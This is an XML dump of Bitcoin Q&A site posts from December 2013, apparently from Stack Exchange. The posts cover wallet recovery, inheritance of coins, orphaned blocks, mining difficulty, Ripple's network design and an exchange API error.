LastEditDate="2014-06-17T21:50:14.657" LastActivityDate="2014-07-18T10:43:43.777" Title="How to recover an old wallet.dat file" Tags="|wallet|backup|wallet.dat|wallet-recovery|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18655" PostTypeId="2" ParentId="18653" CreationDate="2013-12-13T08:30:55.300" Score="3" Body="&lt;p&gt;The exchange rate has changed by almost 800 dollars. That means that &lt;em&gt;if&lt;/em&gt; you &lt;em&gt;had&lt;/em&gt; bought 1 bitcoin before the rise, you &lt;em&gt;would have&lt;/em&gt; assumed the full risk of the price not rising (and possibly falling), and you &lt;em&gt;would have&lt;/em&gt; been rewarded for taking this risk with a profit of almost 800 dollars. Note that you would be exposed to additional risks, including a possible bankruptcy of the bitcoin exchange you use, as nowadays even reiterated in mainstream media. See &lt;a href=&quot;http://www.cnbc.com/id/101270049&quot; rel=&quot;nofollow&quot;&gt;this CNBC piece&lt;/a&gt; on today's warning to this effect by the European Banking Authority for example.&lt;/p&gt;&#xA;" OwnerDisplayName="user6049" LastActivityDate="2013-12-13T08:30:55.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18656" PostTypeId="1" AcceptedAnswerId="18658" CreationDate="2013-12-13T08:46:29.060" Score="2" ViewCount="903" Body="&lt;p&gt;What happens with a valid block which contains a transaction which was already included in previous blocks? Is such a block accepted by other nodes in the network or discarded?&lt;/p&gt;&#xA;" OwnerUserId="7584" LastEditorUserId="5406" LastEditDate="2016-03-16T10:30:32.020" LastActivityDate="2016-03-16T10:30:32.020" Title="Can a transaction be in two blocks?" Tags="|transactions|confirmations|blockchain-fork|consensus|validation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18657" PostTypeId="2" ParentId="18654" CreationDate="2013-12-13T08:52:55.507" Score="3" Body="&lt;p&gt;Bitcoin-Qt is a full p2p network client, so to work, it needs to sync with the network. Basically, it will download every transaction that was done with the currency (~15 GB in total at the moment). Might take one or two days, then you'll be good to go.&lt;/p&gt;&#xA;" OwnerUserId="10491" LastActivityDate="2013-12-13T08:52:55.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18658" PostTypeId="2" ParentId="18656" CreationDate="2013-12-13T08:59:28.790" Score="2" Body="&lt;p&gt;The second time the transaction appears in a block the outputs it claims are already marked as claimed, hence the transaction, seen a second time, would be invalid. By definition the block is only valid if all transactions in it are valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only way of a transaction landing in two potentially valid blocks is during a blockchain fork, where the two competing blockchain heads both include the transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a miner were to include an already confirmed transaction it would invalidate the block, and he would lose its reward. Notice that this also avoids having a miner claim fees multiple times, which would effectively create new coins from thin air.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-12-13T08:59:28.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18659" PostTypeId="1" AcceptedAnswerId="18671" CreationDate="2013-12-13T09:00:23.643" Score="2" ViewCount="2291" Body="&lt;p&gt;I have wallet on blockchain.info, with two addresses. I want to send some bitcoins from only one of them using quick send. I don't see where I can select source (input) address.&#xA;Where I can see my default (master?) address?&#xA;How can i change it?&lt;/p&gt;&#xA;" OwnerUserId="10742" LastActivityDate="2013-12-13T13:35:03.573" Title="How to send bitcoins from selected address on blockchain.info wallet?" Tags="|address|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18660" PostTypeId="1" AcceptedAnswerId="18661" CreationDate="2013-12-13T09:01:34.510" Score="2" ViewCount="437" Body="&lt;p&gt;Just noticed &lt;a href=&quot;https://i.stack.imgur.com/ccO5F.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;2 conflicting blocks by the same pool&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the blocks was naturally &lt;a href=&quot;https://blockchain.info/block-height/274626&quot; rel=&quot;nofollow noreferrer&quot;&gt;orphaned&lt;/a&gt;, but why would the same pool broadcast 2 such blocks? Does it happen often?&lt;/p&gt;&#xA;" OwnerUserId="8728" LastEditorUserId="5406" LastEditDate="2023-10-20T17:16:56.277" LastActivityDate="2023-10-20T17:16:56.277" Title="Block orphaned by same miner?" Tags="|mining-pools|stale-block|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18661" PostTypeId="2" ParentId="18660" CreationDate="2013-12-13T09:10:20.037" Score="2" Body="&lt;p&gt;Well that is simply bad luck. It can happen if the miner uses multiple Bitcoin nodes to handle the getwork or stratum requests. In the case of GHash.io my guess is that they either have so many resources that a single nodes cannot handle all the work to keep them working, so they created multiple nodes and distributed the resources on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another reason might be that they have multiple locations, and in order to keep latency low, they have local nodes feeding work to the resources. This scenario would fit pools like btcguild.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While certainly annoying, it is not really anything you can do against it, if they'd known from the other block from their own network they would simply have dropped it and we wouldn't have known about it.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2013-12-13T09:10:20.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18662" PostTypeId="1" AcceptedAnswerId="18668" CreationDate="2013-12-13T09:50:56.003" Score="1" ViewCount="147" Body="&lt;p&gt;How did this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/block/000000004b7959f66c9dab42b8933f0a43c9705bd9bd486de3a69407fb072cd3&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/block/000000004b7959f66c9dab42b8933f0a43c9705bd9bd486de3a69407fb072cd3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That's a fork of the original blockchain (started from genesis block) which was 9 blocks long and appeared in 2013. Why did blockchain.info accept this orphaned blockchain, why didn't it just discard it?&lt;/p&gt;&#xA;" OwnerUserId="7584" LastActivityDate="2013-12-13T12:17:47.777" Title="How did this block end up on blockchain.info?" Tags="|blockchain|blockchain.info|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18663" PostTypeId="1" CreationDate="2013-12-13T10:23:12.767" Score="12" ViewCount="11258" Body="&lt;p&gt;My Brother died in April and we believe he had a bitcoin account. Is it possible to find out how to recover/take over his accounts? &#xA;I know this is a new form of currency but it seems odd there is no way of recovering information in these circumstances. &#xA;Any help would be welcome. I still have all his computers, so can anything be traced through them? &#xA;Thank you.  &lt;/p&gt;&#xA;" OwnerUserId="10744" LastEditorUserId="5406" LastEditDate="2015-07-21T12:52:29.567" LastActivityDate="2020-08-23T10:51:18.450" Title="Recovering bitcoins after the owner's death" Tags="|wallet|private-key|bitcoin-core-accounts|inheritance-plan|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18665" PostTypeId="2" ParentId="18663" CreationDate="2013-12-13T11:03:24.210" Score="8" Body="&lt;p&gt;There are two main ways someone can hold Bitcoin&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On an Exchange or Online Wallet&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Privately on a computer in a wallet or offline private wallet&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For (1) you will need to obtain the username and password to access the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For (2) you will need to login to the computer and, depending on your luck, if the wallet is not encrypted, you should have access. If the wallet is encrypted you will need the password to transfer/spend the coins.  If you do get access to the computer then look for the bitcoin application and run that to see if there are any BTC in the account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your brother had a paper wallet then you will need to find this information as it will have public and private keys to access the coins. These can be imported into a wallet to give access to the funds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, if you cannot find the info above the coins are lost. There is no central control of this currency so there's nobody you can contact for help.&lt;/p&gt;&#xA;" OwnerUserId="10748" LastEditorUserId="46529" LastEditDate="2019-03-03T09:53:35.477" LastActivityDate="2019-03-03T09:53:35.477" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18667" PostTypeId="1" CreationDate="2013-12-13T11:14:55.317" Score="1" ViewCount="1522" Body="&lt;p&gt;I'm new to this BitCoin, as in read about it yesterday started with it today. This technology has intrigued me to the level I cannot explain, its truly genius!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Back to my problem, I have a &lt;strong&gt;NVIDIA NVS3100&lt;/strong&gt; with approx &lt;strong&gt;48 GFlops speed&lt;/strong&gt;. I am using it to mine. I have taken part in different pools, but the problem is that miner is not connecting to the RPC server.&#xA;This is the error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Could not retrieve work from RPC Server&#xA;CURL Return Value = 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;rpcminer-cuda&lt;/code&gt; made by &lt;strong&gt;puddinpop&lt;/strong&gt; on &lt;strong&gt;Windows 8&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would I have to make rules in firewall? or something like that?&lt;/p&gt;&#xA;" OwnerUserId="10673" LastEditorUserId="5406" LastEditDate="2016-04-25T21:21:05.577" LastActivityDate="2016-04-25T21:21:05.577" Title="No Miner can connect to RPC Server" Tags="|mining-pools|miner-configuration|gpu|windows|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18668" PostTypeId="2" ParentId="18662" CreationDate="2013-12-13T12:17:47.777" Score="1" Body="&lt;p&gt;Blockchain.info is a special Bitcoin node created especially for it's purpose. So, it will act differently as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose Blockchain.info's created configured it so to keep a record of all information it comes across, including orphaned blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might think that it is risky to do so because knowing this, people can try to flood the servers with irrelevant data. However, even with difficulty 1, it costs way more resources to create valid blocks than it will take for Blockchain.info to store them. It will only be possible to add a block every few minutes with regular mining hardware. Considering the mining profits you could earn by regular mining, I think it's safe to suppose no one is going to try flooding the Blockchain.info server.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-13T12:17:47.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18669" PostTypeId="2" ParentId="18663" CreationDate="2013-12-13T12:31:21.603" Score="1" Body="&lt;p&gt;I am really sorry for the loss of your brother.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know some/most of the exchanges require account holders to be verified to trade and move cash around, i.e. Know Your Customer, which involves providing proof of address, citizenship etc.&#xA;Could be worth checking their policies on death of account holders and whether they accept any kind of certification as proof of death and 'rights' of access.&#xA;If you think the wallet represents a large value, it may even be worth seeking legel rep and engaging the online exchange/wallet company through those means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what it is worth (perhaps for the benefit of other curious readers), a service like SecureSafe.com provides a solution for these tragic events.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To summarise it provides for 'digital inheritance'; amongst other things, you can manage beneficiaries of your digital data, whether it be a PDF document, online banking access details or in this case Bitcoin Wallet access details... or even a Bitcoin Wallet backup file in its entirety.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="7421" LastActivityDate="2013-12-13T12:31:21.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18671" PostTypeId="2" ParentId="18659" CreationDate="2013-12-13T13:35:03.573" Score="2" Body="&lt;p&gt;The Blockchain.info's My Wallet &quot;Quick Send&quot; feature just selects one of your addresses that has a sufficient balance to fulfil your payment. If none has, it will combine multiple to fulfil the payment amount.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How Blockchain.info choses the address is not specified. My best guess is that it will try the oldest output first. Keep in mind that it is not possible to always send from the same address since you will most probably receive your bitcoins on multiple addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to specify from what address to send, you can use the &quot;Custom&quot; option. It will let you configure your transaction from input addresses to change addresses. It also supports multiple output addresses.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-12-13T13:35:03.573" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18673" PostTypeId="1" AcceptedAnswerId="44633" CreationDate="2013-12-13T14:15:52.863" Score="5" ViewCount="643" Body="&lt;p&gt;I've been trying to determine the number of addresses a node sends when it receives a getaddr message but I'm a little confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On one hand, on addrman.h/.cpp I can see that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// the maximum percentage of nodes to return in a getaddr call&#xA;#define ADDRMAN_GETADDR_MAX_PCT 23&#xA;&#xA;// the maximum number of nodes to return in a getaddr call&#xA;#define ADDRMAN_GETADDR_MAX 2500&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;[...]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int nNodes = ADDRMAN_GETADDR_MAX_PCT*vRandom.size()/100;&#xA;if (nNodes &amp;gt; ADDRMAN_GETADDR_MAX)&#xA;    nNodes = ADDRMAN_GETADDR_MAX;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it seems that the number of addresses sent is the smaller of the two conditions, namely, 23% of the (active known) nodes or 2500 nodes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But on the other hand, from the &lt;a href=&quot;https://en.bitcoin.it/wiki/Satoshi_Client_Node_Discovery&quot;&gt;bitcoin wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The getaddr message sends a request to a node asking for information about known active peers to help with identifying potential nodes in the network. &lt;strong&gt;The response to receiving this message is to transmit an addr message&lt;/strong&gt; with one or more peers from a database of known active peers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...and...&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[About addr messages] &lt;strong&gt;If the sender sent over 1000 addresses, they are all ignored.&lt;/strong&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, why does a node try to send 2500 addresses if the receiver is going to discard them? Why not sending at most 1000 addresses? &lt;/p&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2016-06-03T21:19:39.993" Title="How many addresses are sent in response to a getaddr message?" Tags="|protocol|bitcoin-core|network|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18674" PostTypeId="1" CreationDate="2013-12-13T14:42:01.633" Score="1" ViewCount="101" Body="&lt;p&gt;I just got interested in Bitcoin, set up  a wallet , received a coin w/ a code&#xA;and mnemonic but have no idea  how to scan it and deposit it to my wallet.&#xA;Is there a 'how to' link that explains this process?   Thanks, RS&lt;/p&gt;&#xA;" OwnerUserId="10762" LastActivityDate="2013-12-13T14:42:01.633" Title="scan to wallet process" Tags="|wallet|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18675" PostTypeId="2" ParentId="722" CreationDate="2013-12-13T14:51:23.963" Score="4" Body="&lt;p&gt;September/October 2013 - GHASH.IO Pool Operators were accused of double-spending against BetCoin Dice:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=321630.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=321630.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;I'm saying ghash.io was likely involved in that double-spending.&#xA;I got a report from a pool's user that there were no blocks (rewards) between 25th and 27th of september.&#xA;It means that user's hashpower was used for free by pool operators to perform this attack.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The case made is that BetCoin Dice was using a 0-confirm method on spends, and that GHASH.IO hash power was being abused/used to verify/confirm only winning bets (ignoring non-winning bets). There were a significant enough stream of win-only confirmations to suggest 'someone' within the ghash.io pool was all but provably double-spending bitcoins and then using ghash.io's hashing power to get winning confirmations into the blockchain before non-winning transactions could be confirmed by the rest of the network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CEX.IO obviously denies involvement, but it raises a larger question about how we are to keep watch for fraud like this? Aside from the people being affected, does anyone bother auditing block results (invalid and valid alike?)&lt;/p&gt;&#xA;" OwnerUserId="4993" LastActivityDate="2013-12-13T14:51:23.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18676" PostTypeId="1" AcceptedAnswerId="18693" CreationDate="2013-12-13T15:37:15.677" Score="2" ViewCount="511" Body="&lt;p&gt;I don't understand this&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Even if Opencoin should close, the ripple network will continue. Because the ripple is a P2P &gt;network, it is not operated by Opencoin but by the combined efforts of all the computers &gt;running the ripple server software. The ripple network can not be shut down without shutting &gt;down the entire Internet.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;so what is there are still ripple users but no ripple servers?&#xA;Will all XRP and all stored money vanish?&#xA;is all ripple clients also a server so that they can process transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I would like to ask do all people that use ripple form a p2p network,&#xA;or only the ripple servers form a p2p network, and users connect into it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you :)&lt;/p&gt;&#xA;" OwnerUserId="10765" LastActivityDate="2013-12-23T15:11:44.520" Title="How much is ripple decentralised and p2p" Tags="|ripple|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18677" PostTypeId="2" ParentId="16656" CreationDate="2013-12-13T15:40:45.290" Score="-1" Body="&lt;p&gt;its a fork of bitcoin so this should be the same &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24670.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=24670.0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7546" LastActivityDate="2013-12-13T15:40:45.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18678" PostTypeId="2" ParentId="11004" CreationDate="2013-12-13T17:13:35.570" Score="2" Body="&lt;p&gt;vanitygen doesn't bother saving all of the addresses it goes through to generate the one being searched for, so the person running vanitygen doesn't really &quot;get&quot; those addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addresses are never marked as &quot;taken&quot; in Bitcoin. The only thing identifying who &quot;owns&quot; an address is who has access to the private key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If vanitygen doesn't give you all of the private keys for the addresses it searches through, then those are still not &quot;owned&quot; by you or anyone else.&lt;/p&gt;&#xA;" OwnerUserId="4305" LastActivityDate="2013-12-13T17:13:35.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18679" PostTypeId="2" ParentId="3614" CreationDate="2013-12-13T17:21:29.467" Score="0" Body="&lt;p&gt;I use &lt;a href=&quot;http://bitcoin2pocket.com/&quot; rel=&quot;nofollow&quot;&gt;bitcoin2pocket.com&lt;/a&gt; quite a lot, fast bank transfers if you are located in the UK. I think they also have set up Paypal payments for people who live outside the UK.&lt;/p&gt;&#xA;" OwnerUserId="10768" LastEditorUserId="5406" LastEditDate="2013-12-15T01:37:02.433" LastActivityDate="2013-12-15T01:37:02.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18680" PostTypeId="1" AcceptedAnswerId="18690" CreationDate="2013-12-13T18:19:11.490" Score="0" ViewCount="286" Body="&lt;p&gt;Is the purpose of difficulty only to manage the rate of a cryptocurrency's creation, or should difficulty also increase over time to compensate for Moore's Law for a consistent level of security?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would a cryptocurrency with an extremely short difficulty time of &amp;lt; 5 seconds, even 1 second, be secure?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-13T19:00:10.287" LastActivityDate="2013-12-13T20:42:36.520" Title="Purpose of difficulty?" Tags="|security|alternatives|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18684" PostTypeId="1" CreationDate="2013-12-13T18:42:23.827" Score="0" ViewCount="1148" Body="&lt;p&gt;I have an 'Electrum' wallet. I found some old public keys and imported them into it and then sent the bitcoins to an address in the main wallet. Now the transactions are confirmed and there are 0 bitcoins balance in the imported keys I presume it's safe to delete those keys from the wallet? Is there any circumstance in which I'd ever need them again? (Assuming of course nobody is going to pay anything to their addresses)&lt;/p&gt;&#xA;" OwnerUserId="3742" LastActivityDate="2014-07-12T15:53:24.463" Title="Removing old public keys" Tags="|electrum|public-key|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18686" PostTypeId="1" CreationDate="2013-12-13T18:54:34.277" Score="1" ViewCount="696" Body="&lt;p&gt;I get the following message when trying to send a buy/sell order through btc-e api using a variable:&#xA;&lt;code&gt;&quot;you incorrectly entered one of the fields&quot;&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the line of code I use for sending an order:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;APIMain.Trade(BtcePair.BtcUsd, TradeType.Sell, Math.Round(myAskP, 4), Math.Round(myAskQ, 4));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sending an order via api does work when I enter it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;APIMain.Trade(BtcePair.BtcUsd, TradeType.Sell, 800m, 0.5m);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I force a decimal variable to be formatted like the line above?&#xA;Anybody experienced similar problems?&lt;/p&gt;&#xA;" OwnerUserId="10776" LastEditorUserId="1891" LastEditDate="2013-12-16T11:28:29.157" LastActivityDate="2014-01-31T16:31:51.640" Title="sending an order through BTC-e API incorrect field error" Tags="|api|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18687" PostTypeId="1" CreationDate="2013-12-13T19:23:27.230" Score="0" ViewCount="434" Body="&lt;p&gt;I'm spending a lot of time researching bitcoin before I make any decisions about it, and most of the research is getting to know its fundamental network. Most of the easily verified information is very high-level (meaning surface-level info, e.g. the videos on bitcoin.org or bitcoinmining.com).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking for is simple C code (or whatever language) that is verifying information from the blockchain, but not through a pool. I understand the economies of scale and how this will not be efficient. Please don't emphasize how this is not profitable-- say I'm only interested in doing it to contribute my fair share to the p2p network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you get jobs assigned to you from the network to perform your proof of work in the first place? Is there a tool to just get used to this procedure?&lt;/p&gt;&#xA;" OwnerUserId="10777" LastEditorUserId="5406" LastEditDate="2016-04-25T21:20:46.247" LastActivityDate="2016-04-25T21:20:46.247" Title="Mining Bitcoin- Simple Example for transparency" Tags="|blockchain|mining-theory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18688" PostTypeId="2" ParentId="18416" CreationDate="2013-12-13T19:39:13.890" Score="0" Body="&lt;p&gt;You need a dummy plug on the card that isn't attached to a monitor. Had the same problem with my 7850 (it is dedicated miner). Use this guide:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.overclock.net/t/384733/the-30-second-dummy-plug&quot; rel=&quot;nofollow&quot;&gt;Make a Dummy Plug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can easily use the -d switch in your .bat file to choose which card you want cgminer to use. LSS: Windows doesn't see the card because there is no output, dummy plug tricks it into thinking it is in use when its not, drivers/opencl for the card are enabled windows side, cgminer can now operate properly.&lt;/p&gt;&#xA;" OwnerUserId="10778" LastActivityDate="2013-12-13T19:39:13.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18689" PostTypeId="2" ParentId="13117" CreationDate="2013-12-13T20:09:40.190" Score="0" Body="&lt;p&gt;My answer would be: &lt;strong&gt;&quot;There is no way, to protect self from rapid scammer.&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are, probably, should spent a great time with seller, say 3, may be 4 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. See this thread: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=359934.0&quot; rel=&quot;nofollow&quot;&gt;bitcointalk.org: If confirmation takes 10 minutes, how will I buy coffee at Starbucks?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to use an arbiter, e.g. &lt;a href=&quot;https://www.bitrated.com/&quot; rel=&quot;nofollow&quot;&gt;www.bitrated.com&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Bitcoin arbitration marketplace Protect yourself against online fraud&#xA;  with Bitcoin's m-of-n transactions.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Before you go to give your money to seller, an arbiter confirm transaction, wait for seller's confirmation, than send bitcoins to you.&lt;/p&gt;&#xA;" OwnerUserId="10274" LastActivityDate="2013-12-13T20:09:40.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18690" PostTypeId="2" ParentId="18680" CreationDate="2013-12-13T20:13:30.077" Score="1" Body="&lt;p&gt;The purpose of the difficulty is to maintain a 10 minutes average delay between each block and by the way to ensure the Bitcoin emission rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The difficulty is adjusted every 2016 Blocks (2 weeks) to compensate the increase or the decrease of the network calculation power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the difficulty is so low that the network generates blocks in less than 5 seconds this would be highly unsecure because this would not let time for the blocks to be shared on the network. The result would be a lot of orphan blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some altcoins were launched with 15 seconds blocks target. Many of them like smallChange failled and doesn't exists anymore.&lt;/p&gt;&#xA;" OwnerUserId="10621" LastEditorUserId="10621" LastEditDate="2013-12-13T20:42:36.520" LastActivityDate="2013-12-13T20:42:36.520" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="18692" PostTypeId="1" AcceptedAnswerId="18705" CreationDate="2013-12-13T20:48:36.877" Score="2" ViewCount="229" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/users/10621/jan-moritz-lindemann&quot;&gt;Jan Moritz Lindemann&lt;/a&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/a/18690/5107&quot;&gt;graciously educated me that difficulty is used not only to regulate the creation rate of a cryptocurrency but also to allow for block propagation thus prevent orphaned blocks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since consumers of a cryptocurrency could be presumed to desire instantaneous transaction verification, is near instantaneous transaction verfication possible and secure?  If so, how?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="-1" LastEditorDisplayName="user5107" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2013-12-14T02:00:04.357" Title="&quot;Instantaneous&quot; transaction verification?" Tags="|security|alternatives|difficulty|transaction-verification|block-interval|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18693" PostTypeId="2" ParentId="18676" CreationDate="2013-12-13T21:18:24.533" Score="3" Body="&lt;p&gt;Ripple is an internet protocol. It's ledger is kept on servers all over. In fact, I am in the process of installing RippleD and connecting my server to the broader network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Watch these short youtube videos: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an &lt;a href=&quot;http://www.youtube.com/watch?v=9zxA3Gt7y3c&quot; rel=&quot;nofollow&quot;&gt;overview of Ripple&lt;/a&gt; ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an &lt;a href=&quot;http://www.youtube.com/watch?v=kwyIEMyMfqs&quot; rel=&quot;nofollow&quot;&gt;explanation of Ripple&lt;/a&gt; in 60 seconds ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are two more videos:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video to help you understand how a Gateway works ...  &lt;a href=&quot;http://www.youtube.com/watch?v=M16ZatXbmLg&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=M16ZatXbmLg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a video to help you understand how the consensus ledger works ... &lt;a href=&quot;http://www.youtube.com/watch?v=pj1QVb1vlC0&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=pj1QVb1vlC0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you should do a search on the Ripple Wiki and give it a read. (I'd send a link, but again, they're limiting me to two :-S ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="10782" LastEditorUserId="3089" LastEditDate="2013-12-23T15:11:44.520" LastActivityDate="2013-12-23T15:11:44.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
